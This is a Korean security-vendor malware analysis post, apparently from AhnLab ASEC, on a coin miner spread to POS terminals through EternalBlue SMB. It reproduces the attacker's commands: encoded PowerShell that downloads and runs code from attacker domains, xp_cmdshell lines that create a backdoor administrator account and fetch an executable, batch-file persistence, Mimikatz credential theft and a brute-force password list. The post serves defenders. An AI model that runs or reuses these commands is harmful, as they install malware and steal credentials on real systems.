안랩 ASEC은 지난 2월 11일 EternalBlue SMB 취약점으로 국내 POS 장비에 코인 마이너를 전파하는 공격을 확인하였다. 작년 6월에도 같은 이터널 블루 취약점으로 POS 장비의 인터넷이 마비되는 사건(https://asec.ahnlab.com/1143)이 있었으며 재작년 ‘WannaCrypt’ 이슈부터 현재까지도 공격자들은 SMB 취약점 공격을 악성코드를 전파하는 데 사용하고 있다. 추가로 이번 공격에 사용된 악성코드는 1월 28일 중국 Tencent 업체에서 언급된 것과 동일한 기능을 갖는 것으로 확인되었다. (https://guanjia.qq.com/news/n3/2475.html)
해당 취약점 공격은 윈도우 보안 패치로 방어할 수 있으므로 POS 장비뿐만 아니라 아직 MS 패치를 적용하지 않은 시스템은 감염 피해를 예방하기 위해 업데이트가 시급하다. 이번 국내 POS 장비 공격 과정은 [그림 1]과 같다.
[그림 1] 국내 POS 장비 공격 흐름도
공격 과정 중 EternalBlue SMB 취약점 공격을 발생시키는 주체인 "svchost.exe" 파일의 주요 기능은 아래와 같다.
[네트워크 행위]
- 로컬 시스템의 60124번 포트 바인딩
- 445번 포트 방화벽 설정
- 파워쉘 명령어를 통해 특정 도메인(v.beahh.com)에서 스크립트를 다운로드
- ipconfig /all, netstat –na 명령을 확인되는 모든 ip 대역을 스캔
- http://ip.42.pl/raw, http://jsonip.com 사이트에서 확인되는 ip 대역을 스캔
- SMB 취약점이 확인된 PC에 아래 파워쉘 명령어 실행 -> http://v.beahh.com/v 사이트 접속 후 스크립트 다운로드 명령
|
cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcA ZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAO gAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe |
[시스템 행위]
- 파워쉘 명령어를 통해 윈도우 계정 패스워드 확인 툴인 MIMIKATZ 실행 (m.ps1)
- MIMIKATZ 툴을 통해서 얻은 계정 정보와 사용자 도메인 정보를 c:\windows\temp\mkatz.ini에 저장
- 파워쉘이 없는 시스템 환경(xp)일 경우 http://w.beahh.com/page.html에 접속하여 스크립트를 다운로드 및 실행
[전파 방식]
- EternalBlue 취약점 이용 외에 svchost.exe는 패스워드 사전 공격과, 미미카츠에 의해 얻어진 NTLM HASH를 이용하여 2가지 전파 방식을 추가로 사용한다.
[그림 2] 전파 후 작업 스케줄러 등록 정보
패스워드 사전 공격의 경우 아래 리스트에서 무작위로 대입하여 공격이 이루어지기 때문에 알기 쉬운 패스워드 되도록 사용하지 않아야 한다.
|
'', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234', '123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111', '000000', '111111', '112233', '123321', '654321', '666666', '888888', 'a123456', '123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789', '123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password', 'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie', 'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t', 'qwertyuiop', '1qaz2wsx', 'sa', 'sasa', 'sa123', 'sql2005', '1', 'admin@123', 'sa2008', '1111', 'passw0rd', 'abc', 'abc123', 'abcdefg', 'sapassword', 'Aa12345678', 'ABCabc123', 'sqlpassword', '1qaz2wsx', '1qaz!QAZ', 'sql2008', 'ksa8hd4,m@~#$%^&*()', '4yqbm4,m`~!@~#$%^&*(),.; ', '4yqbm4,m`~!@~#$%^&*(),.;', 'A123456' |
MS-SQL 커맨드를 이용하여 전파할 때는 패스워드 사전 공격이 성공하면 다음과 같은 추가 명령어를 실행한다.
|
db.execute_query("exec sp_dropextendedproc 'xp_cmdshell';")
db.execute_query("dbcc addextendedproc('xp_cmdshell','xplog70.dll')")
db.execute_query("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE;")
db.execute_query("xp_cmdshell 'net user k8h3d k8d3j9SjfS7 /ADD && net localgroup administrators k8h3d /ADD& netsh advfirewall firewall add rule name=mssql dir=in action=allow protocol=TCP localport=1433 & netsh advfirewall firewall add rule name=web dir=in action=allow protocol=TCP localport=80'")
db.execute_query("sp_password Null,'ksa8hd4,m@~#$%^&*()','sa';")
db.execute_query('xp_cmdshell \'cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBu AGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAn ACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&netsh firewall add portopening tcp 65533 DNSsql&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&certutil -urlcache -split -f http://dl.haqo.net/dll.exe?fr=mssql c:\\setupinstalled.exe&&c:\\setupinstalled.exe\'') |
추가 명령어가 실행되면 k8h3d 계정이 생성된다.
생성된 계정은 악성코드 추가 전파를 위해 사용된다.
악성코드 전파에 사용된 악성파일을 공격에 성공한 PC 에 전송하고, 아래의 명령어를 랜덤한 이름의 서비스로 생성하여 실행한다.
|
def smb_pwn(conn, arch, tg): ee = '' eb = 'c:\\windows\\system32\\calc.exe' smbConn = conn.get_smbconnection() ... 중략 ... if tg == 2: bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat' else: bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat' service_exec(conn, bat) |
생성된 계정은 사용이 완료 될 경우 계정을 삭제하여 흔적을 지운다.
[파일 진단]
현재 안랩 제품에서는 해당 악성코드들을 다음과 같이 진단하고 있다.
|
파일명 |
진단명 |
|
svchost.exe (SMB 전파) |
Trojan/Win32.Trickster.R254998 |
|
svchost.exe (sample.exe) |
Malware/Win32.Generic.C2950422 |
|
wmiex.exe (MAL 1) |
Trojan/Win32.Agent.R254993 |
|
taskmgr.exe (MAL 2 32bit Binary) |
Malware/Win32.Nsanti.C2957178 |
|
taskmgr.exe (MAL 2 64bit Binary) |
Trojan/Win64.Agent.C3009705 |
|
m.ps1 (윈도우 계정탈취) |
SCRIPT/Powershell |
[URL 차단]
[SMB 취약점 패치]
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
'악성코드 정보' 카테고리의 다른 글
| 국내 사용자를 대상으로 한 CLOP 랜섬웨어 유포 (0) | 2019.02.18 |
|---|---|
| 국내 사용자를 대상으로 유포 중인 악성 Excel 문서 파일 (1) | 2019.02.14 |
| Microsoft Office Excel - DDE 이용 악성 기능 실행 (2) (0) | 2019.02.11 |
| PDF 형태로 유포되는 Phishing 악성코드 (URL 탐지 우회) (0) | 2019.01.30 |
| 국내 유포 중인 Gandcrab v5.1 (0) | 2019.01.18 |
댓글